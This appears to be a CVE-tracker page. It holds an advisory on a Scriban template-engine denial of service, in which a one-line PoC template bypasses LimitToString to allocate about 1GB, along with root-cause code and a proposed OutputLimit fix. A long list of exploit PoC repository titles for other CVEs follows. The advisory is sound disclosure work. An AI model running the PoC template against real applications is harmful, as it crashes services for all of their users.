## Summary The `LimitToString` safety limit (default 1MB since commit `b5ac4bf`) can be bypassed to allocate approximately 1GB of memory by exploiting the per-call reset of `_currentToStringLength` in `ObjectToString`. Each template expression rendered through `TemplateContext.Write(SourceSpan, object)` triggers a separate top-level `ObjectToString` call that resets the length counter to zero, and the underlying `StringBuilderOutput` has no cumulative output size limit. An attacker who can supply a template can cause an out-of-memory condition in the host application. ## Details The root cause is in `TemplateContext.Helpers.cs`, in the `ObjectToString` method: ```csharp // src/Scriban/TemplateContext.Helpers.cs:89-111 public virtual string ObjectToString(object value, bool nested = false) { if (_objectToStringLevel == 0) { _currentToStringLength = 0; // <-- resets on every top-level call } try { _objectToStringLevel++; // ... var result = ObjectToStringImpl(value, nested); if (LimitToString > 0 && _objectToStringLevel == 1 && result != null && result.Length >= LimitToString) { return result + "..."; } return result; } // ... } ``` Each time a template expression is rendered, `TemplateContext.Write(SourceSpan, object)` calls `ObjectToString`: ```csharp // src/Scriban/TemplateContext.cs:693-701 public virtual TemplateContext Write(SourceSpan span, object textAsObject) { if (textAsObject != null) { var text = ObjectToString(textAsObject); // fresh _currentToStringLength = 0 Write(text); } return this; } ``` The `StringBuilderOutput.Write` method appends unconditionally with no size check: ```csharp // src/Scriban/Runtime/StringBuilderOutput.cs:47-50 public void Write(string text, int offset, int count) { Builder.Append(text, offset, count); // no cumulative limit } ``` **Execution flow:** 1. Template creates a string of length 1,048,575 (one byte under the 1MB `LimitToString` default) 2. A `for` loop iterates up to `LoopLimit` (default 1000) times 3. Each iteration renders the string via `Write(span, x)` → `ObjectToString(x)` 4. `ObjectToString` resets `_currentToStringLength = 0` since `_objectToStringLevel == 0` 5. The string passes the `LimitToString` check (1,048,575 < 1,048,576) 6. Full string is appended to `StringBuilder` — no cumulative tracking 7. After 1000 iterations: ~1GB allocated in-memory ## PoC ```csharp using Scriban; // Uses only default TemplateContext settings (LoopLimit=1000, LimitToString=1048576) var template = Template.Parse("{{ x = \"\" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }}"); // This will allocate ~1GB in the StringBuilder, likely causing OOM var result = template.Render(); ``` Equivalent Scriban template: ```scriban {{ x = "" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }} ``` Each of the 1000 loop iterations outputs a 1,048,575-character string. Each passes the per-call `LimitToString` check independently. Total output: ~1,000,000,000 characters (~1GB) allocated in the `StringBuilder`. ## Impact - **Denial of Service:** An attacker who can supply Scriban templates (common in CMS, email templating, report generation) can crash the host application via out-of-memory - **Process-level impact:** OOM kills the entire .NET process, not just the template rendering — affects all concurrent users - **Bypass of safety mechanism:** The `LimitToString` limit was specifically introduced to prevent resource exhaustion, but the per-call reset makes it ineffective against cumulative abuse - **Low complexity:** The exploit template is trivial — a single line ## Recommended Fix Add a cumulative output size counter to `TemplateContext` that tracks total bytes written across all `Write` calls, independent of the per-object `LimitToString`: ```csharp // In TemplateContext.cs — add new property and field private long _totalOutputLength; /// <summary> /// Gets or sets the maximum total output length in characters. Default is 10485760 (10 MB). 0 means no limit. /// </summary> public int OutputLimit { get; set; } = 10485760; // In TemplateContext.Write(string, int, int) — add check before writing public TemplateContext Write(string text, int startIndex, int count) { if (text != null) { if (OutputLimit > 0) { _totalOutputLength += count; if (_totalOutputLength > OutputLimit) { throw new ScriptRuntimeException(CurrentSpan, $"The output limit of {OutputLimit} characters was reached."); } } // ... existing indent/write logic } return this; } ``` This provides defense-in-depth: `LimitToString` caps individual object serialization, while `OutputLimit` caps total template output.
PoC: TLPE
CVE-2026-49881, a logic issue in the InCallController class in Android 17's Telecom service that allows an unprivileged app to gain arbitrary code execution as UID 1000 system_server
PoC: cve-2026-75650-magento-validation-lab
Docker lab for validating the CVE-2026-75650 Magento component-level PHP execution primitive and Adobe VULN-39341 patch.
PoC: BLUE-WRITEUP-CVE-2017-0144
Conducted a complete security assessment of an unpatched Windows 7 target ("Blue") to demonstrate the impact of legacy service vulnerabilities in an enterprise environment
PoC: POC-AIOWPM-CVE-2026-19949
PoC funcional de CVE-2026-19949 (AIOWPM): SQLi de segundo orden no autenticada en All-in-One WP Migration <= 7.109 via regex de replace_table_values. Laboratorio Docker + payload derivado (leak de ai1wm_secret_key por REST anonima) + RCE con importacion anonima.
PoC: CVE-2026-28576-poc
SQL injection vulnerability in Android 17 (AOSP)
PoC: CVE-2016-3223
CVE-2016-3223 - Draft or TODO
PoC: RootMyVivo-Exploit
GhostLock (CVE-2026-43499) exploit fork for RootMyVivo Neo — iQOO Neo 11 (PD2520, SM8750, 6.6.89). For authorized research on own devices only.
PoC: CVE-2025-27636-RCE-in-Apache-Camel
CVE-2025-27636 PoC written in Python
PoC: CVE-2026-77578
PoC for CVE-2026-77578 - Authenticated Arbitrary Local File Read in Xibo CMS
PoC: openfire-ssrf-cve-2019-18394
PoC for CVE-2019-18394: unauthenticated full-read SSRF in Openfire <= 4.4.2 FaviconServlet
PoC: Exploit-CVE-2023-6063-PoC-Vuln
CVE-2023-6063-PoC Exploit
PoC: cve-2026-41940-PoC-Linux
CVE-2026-41940 PoC - Linux/Termux Compatible Version
PoC: CVE-2026-11387-WooCommerce-SMS-OTP
SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress; SMS Alert <3.9.6; Unauthenticated Privilege Escalation (Forced Password Reset)
PoC: HTB_Helix_CVE-2023-34468
Writeup of the Hackthebox Helix machine
PoC: CVE-2026-79387-PbootCMS-SQL-Injection
CVE-2026-79387-PbootCMS-SQL-Injection
PoC: Mikrotrick_POC
Testing tool for the Mikrotrick exploit (CVE-2026-67276)
PoC: CVE-2024-44625-Gogs-RCE-0.13.0
No issue for run this exploit.
PoC: CVE-2025-3248
An educational reference and defensive analysis of CVE-2025-3248, a critical code injection vulnerability affecting Langflow.
PoC: CVE-2026-67401-cPanel-EmailTrack-SQLi
CVE-2026-67401 cPanel & WHM EmailTrack SQL Injection — IOC scanner, compromise detection, patch verification, incident response and remediation toolkit.
PoC: CVE-2026-67401
poc in python for CVE-2026-67401
PoC: FortiLOL
FortiClient FortiShield exploit (CVE-2015-5736) for Windows 10 1809
PoC: CVE-2026-67401
CVE-2026-67401 - Draft or TODO
PoC: CVE-2026-62201-OpenClaw-SSRF
Deep-dive analysis of CVE-2026-62201: OpenClaw sandbox exec-server network policy bypass (SSRF). Root cause, vulnerable vs patched code, exploitation, detection, remediation.
PoC: CVE-2024-2961-XXE-Exploit
CVE-2024-2961 (CNEXT) PHP file-read to RCE exploit adapted to an XXE/CTF channel
PoC: Certighost_CVE-2026-54121
AD CS 证书身份伪造漏洞，属于ESC（Exploit Certification）系列 的新成员
PoC: CVE-2026-83991-writeup-and-poc
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83991
PoC: CVE-2026-19089-WooCommerce-Tyche
CVE-2026-19089 WooCommerce Tych Remote Command Execution
PoC: GhostLock-NVIDIA-Shield-9.2.4
Validated GhostLock CVE-2026-43499 port for NVIDIA Shield TV Pro mdarcy 9.2.4
PoC: CVE-2025-8110
CVE-2025-8110 - Gogs <=0.13.x symlink bypass -> arbitrary file write as the Gogs process user
PoC: CVE-2025-58434
CVE-2025-58434 - Flowise (CVE-2025-58434) unauthenticated account takeover via password-reset token disclosure
PoC: CVE-2025-55182
CVE-2025-55182 - React2Shell (CVE-2025-55182) unauthenticated RCE via React Server Components Flight deserialization
PoC: ClickHouse-Native-JDBC
Serpstat fork of housepower/ClickHouse-Native-JDBC 2.7.1. Fixes the CityHash128 checksum defect behind "Checksum doesn't match: corrupted data" on INSERT, upgrades aircompressor to 0.27 (CVE-2024-36114). Drop-in: com.serpstat:clickhouse-native-jdbc-shaded:2.7.1-serpstat.1. Apache 2.0.
PoC: CyberhawksLab-telnetCVE
Writeup/finding of CVE-2026-24061 within the Cyberhawks lab
PoC: CVE-2026-39987
Marimo Pre Authentication RCE
PoC: sift-hardened
Security-hardened fork of sift 17.1.3 for CVE-2026-85625. Not affiliated with crcn/sift.js.
PoC: CVE-2026-82222
⚡ GHOSTLYR00T - CVE-2026-82222 GiveWP RCE Exploit Framework Unauthenticated RCE on GiveWP <= 4.16.7.1. Mass scanning, auto-detection (form/gateway/amount), multi-threading, JSON/TXT output, interactive shell. CVSS 9.8 Critical. ⚠️ Authorized testing only.
PoC: CVE-2026-85046
CVE-2026-85046 | Chrome V8 Type Confusion in Inline Array.prototype.sort (Maglev/Turbofan) | CVSS 8.8 | CWE-843 | Chrome < 152.0.7977.82
PoC: CVE-2026-74239
Sanitized XenForo write-up and proof of concept for CVE-2026-74239.
PoC: CVE-2026-73321
Sanitized XenForo write-up and proof of concept for CVE-2026-73321.
PoC: CVE-2026-73320
Sanitized XenForo write-up and proof of concept for CVE-2026-73320.
PoC: CVE-2026-73319
Sanitized XenForo write-up and proof of concept for CVE-2026-73319.
PoC: CVE-2026-73318
Sanitized XenForo write-up and proof of concept for CVE-2026-73318.
PoC: CVE-2026-73317
Sanitized XenForo write-up and proof of concept for CVE-2026-73317.
PoC: CVE-2026-73316
Sanitized XenForo write-up and proof of concept for CVE-2026-73316.
PoC: CVE-2026-73315
Sanitized XenForo write-up and proof of concept for CVE-2026-73315.
PoC: CVE-2026-73314
Sanitized XenForo write-up and proof of concept for CVE-2026-73314.
PoC: CVE-2026-73313
Sanitized XenForo write-up and proof of concept for CVE-2026-73313.
PoC: CVE-2026-73312
Sanitized XenForo write-up and proof of concept for CVE-2026-73312.
PoC: CVE-2026-73311
Sanitized XenForo write-up and proof of concept for CVE-2026-73311.
PoC: CVE-2026-73310
Sanitized XenForo write-up and proof of concept for CVE-2026-73310.
PoC: CVE-2026-73309
Sanitized XenForo write-up and proof of concept for CVE-2026-73309.
PoC: guardskill
Read-only scanner for git settings that let a repository run code in coding agents (Claude Code, Codex, Cursor, Copilot). Covers the GitSpawn class and CVE-2026-45033. No dependencies, no network, no telemetry.
PoC: cve-2010-4221-lab
From patch to RCE: hand-built exploit for CVE-2010-4221 (ProFTPD TELNET IAC stack overflow), with the full failure-driven journey documented
PoC: netty-http-check
CVE-2026-59903 / CVE-2026-33870: offline checker for the 14 io.netty:netty-codec-http CVEs. Netty ships all modules under one version number but each has its own fix version — 4.1.136.Final (the netty-codec-http2 answer) still leaves this module exposed; it needs 4.1.137.Final / 4.2.17.Final.
PoC: metasploit-lab-report
Educational penetration testing lab report demonstrating exploitation of vsftpd 2.3.4 backdoor vulnerability (CVE-2011-2523) in Metasploitable 2 using Metasploit Framework. Includes detailed documentation of reconnaissance, vulnerability analysis, configuration, verification, and exploitation phases.
PoC: CVE-2026-8069
Technical write-up and PoC for CVE-2026-8069 in Acer NitroSense and PredatorSense
PoC: stylesmuggler-adobe-patches-mageos
composer require delivery of Adobe's official APSB26-146 (CVE-2026-75650) fix for Mage-OS stores, via cweagans/composer-patches. Companion to stylesmuggler-adobe-patches (Magento).
PoC: CVE-2026-8732-PoC
CVE-2026-8732 | WP Maps Pro <= 6.1.0 Unauth Admin Creation
PoC: stylesmuggler-adobe-patches
composer require delivery of Adobe's official APSB26-146 (CVE-2026-75650) fix for Magento, via cweagans/composer-patches. Auto-selects the patch for your Magento version.
PoC: cve-2026-40369-exploit
Exploit inspired by `https://voidsec.com/cve-2026-40369-browser-sandbox-escape/`. Use Feature_RestrictKernelAddressLeak and forge token to Elevate privileges
PoC: CVE-2026-83548-CVE-2026-83549
CVE-2026-83548, CVE-2026-83549, - Draft or TODO - https://github.com/rapid7/metasploit-framework/pull/21883
PoC: hdwebmobile-booking-appointments
Sell bookable services and appointments through WooCommerce -- closes CVE-2026-2931 by construction.
PoC: CVE-2026-52307
Public reference for CVE-2026-52307
PoC: CVE-2026-10795
CVE-2026-10795 - Draft or TODO
PoC: CVE-2025-47981
Assessment script — CVE-2025-47981 SPNEGO NEGOEX heap overflow (CVSS 9.8, wormable). Checks ntoskrnl.exe version, PKU2U registry key, exposed ports. Detection only · KB5062560 · July 2025.
PoC: log4shell-exploitation-detection
Log4Shell (CVE-2021-44228) exploitation from a Kali VM against a vulnerable containerized app, with Splunk-based detection engineering and validated remediation. Covers the full attack lifecycle: exploitation, JNDI and host-level auditd detection, and before/after remediation proof.
PoC: cve-2015-3306-lab
Reproducible Docker lab + raw-socket exploit for CVE-2015-3306 (ProFTPD mod_copy pre-auth arbitrary file copy) — a patch-diffing learning exercise
PoC: CVE-2026-69451-PoC
PoC for the CVE-2026-69451 - Fastprox EoP
PoC: CVE-2026-39987-PoC
CVE-2026-39987 Proof of Concept
PoC: misfortune-cookie
This interactive suite targets CVE-2014-9222 (Misfortune Cookie) in legacy RomPager web servers, alongside modular testing for CVE-2017-17215 (Huawei HG532 RCE), CVE-2018-14847 (MikroTik WinBox credential leak), and the CVE-2021-27101 / CVE-2021-27102 exploit chain (Accellion FTA).
PoC: CVE-2026-77276-PoC
CVE-2026-77276 pre-auth macro RCE via convert-to on Collabora Online
PoC: CVE-2023-52356-libtiff-analysis
Root-cause analysis and patch validation of CVE-2023-52356 in libtiff using AddressSanitizer and GDB.
PoC: BlueGate-CVE-2020-0609
BlueGate Exploit validator - RD Gateway validator for CVE-2020-0609 and CVE-2020-0610 (BlueGate) using OpenSSL DTLS over UDP/3391.
PoC: CVE-2022-4140
WordPress plugin Welcart e-Commerce < 2.8.5 - Arbitrary File Read
PoC: CVE-2026-81780-Hash-Form
CVE-2026-81780 — Hash Form RCE
PoC: CVE-2026-82329-JFrog-Artifactory-
CVE-2026-82329 — JFrog Artifactory Auth Bypass
PoC: cs50-cybersecurity-final-project
CS50 Cybersecurity Final Project: Technical Analysis of the XZ Utils Backdoor (CVE-2024-3094)
PoC: gha-lab-00d54c717d
Security-research lab: CVE-2026-47172 (workflow_run pwn request in deploy.yaml) — flattened snapshot of duck-organization/questbot at 1903b2f
PoC: stylesmuggler-ioc-toolkit
StyleSmuggler (CVE-2026-75650) IOC toolkit for Magento Open Source and Adobe Commerce. Detect compromised stores, Rust implants, PHP web shells, persistence artifacts, and known indicators of compromise.
PoC: CVE-2026-33234
SSRF via smtplib raw TCP sockets bypassing HTTP blocklist in AutoGPT SendEmailBlock
PoC: CVE-2025-5548
Buffer overflow in FreeFloat FTP Server 1.0
PoC: gitssrf-gim-cve-parent
gitssrf-gim CVE-2025-48384 parent
PoC: 2009
Linux Kernel Exploits -> CVE-2009-1185 + CVE-2009-1337 + CVE-2009-2692 + CVE-2009-2698 + CVE-2009-3547
PoC: 2008
Linux Kernel Exploits -> CVE-2008-0600 + CVE-2008-0900 + CVE-2008-4210
PoC: 2006
Linux Kernel Exploits -> CVE-2006-2451 + CVE-2006-3626
PoC: CVE-2026-86218
CVE-2026-86218 - Draft or TODO - N-central is vulnerable to a pre-auth remote code execution
PoC: 2005
Linux Kernel Exploits -> CVE-2005-0736 + CVE-2005-1263
PoC: 2004
Linux Kernel Exploits -> CVE-2004-0077 + CVE-2004-1235 + caps_to_root
PoC: galaxy-a37-root
CVE-2026-43499 exploit payload for Samsung Galaxy A37 (A376BXXS4AZG4, kernel 6.1.138-android14-11)
PoC: CVE-2026-13181-CVE-2026-13182-CVE-2026-13183-CVE-2026-13184
CVE-2026-13181, CVE-2026-13182, CVE-2026-13183, CVE-2026-13184
PoC: exploit-mikrotik-2026
CVE-2026-67276 MikroTik RouterOS SSH Authentication Bypass Exploit
PoC: gha-lab-8aba6b05dc
Security-research lab reproducing CVE-2026-45132 (pwn request via pull_request_target chart-name injection in generate-schema.yaml) — snapshot of CloudPirates-io/helm-charts @ 9f5a7186
PoC: CVE-2026-42031-SQL-Injection-Scanner
CVE-2026-42031 SQL Injection Scanner for CKAN DataStore
PoC: gha-lab-5511dc3f73
Authorized security-research lab reproducing CVE-2026-45131 (pwn request in .github/workflows/pull-request.yaml) — snapshot of CloudPirates-io/helm-charts @ 9f5a7186
PoC: ai-tool-poisoning-guard
Free security-baseline rule for Claude Code, Codex, and Cursor: treats MCP tool descriptions as untrusted input (OWASP MCP Top 10 MCP03, CVE-2025-54136).
PoC: gha-lab-733c168b88
Authorized security-research lab reproducing CVE-2026-44246 (GHSA-63mx-j37w-gh59): prompt injection via verbatim issue title/body inlining into the claude-code-action triage agent in nnU-Net's issue-triage workflow. Snapshot of MIC-DKFZ/nnUNet @ 9a1db0dd1c74894fa17e79014be4097f546a51be.
PoC: CVE-2021-1675
Simulated PoC — PrintNightmare Windows Print Spooler RCE/LPE (CVE-2021-1675 + CVE-2021-34527). Non-functional payload for detection engineering. CISA KEV · Patched July 2021 · MITRE T1068.
PoC: CVE-2025-31324
PoC — SAP NetWeaver Visual Composer unauthenticated file upload (CVSS 10.0). Benign JSP payload. CISA KEV May 2025 · Patched April/May 2025 · T1190 ·
PoC: gha-lab-677752506e
Authorized security-research lab reproducing CVE-2026-42298 (pull_request_target docker-build RCE in pr-docker-build.yml) — flattened snapshot of gitroomhq/postiz-app
PoC: CVE-2026-42559
Docker lab + Python PoC for CVE-2026-42559 - DNS rebinding via unvalidated Host header in the rmcp (Rust MCP SDK) Streamable HTTP server transport
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free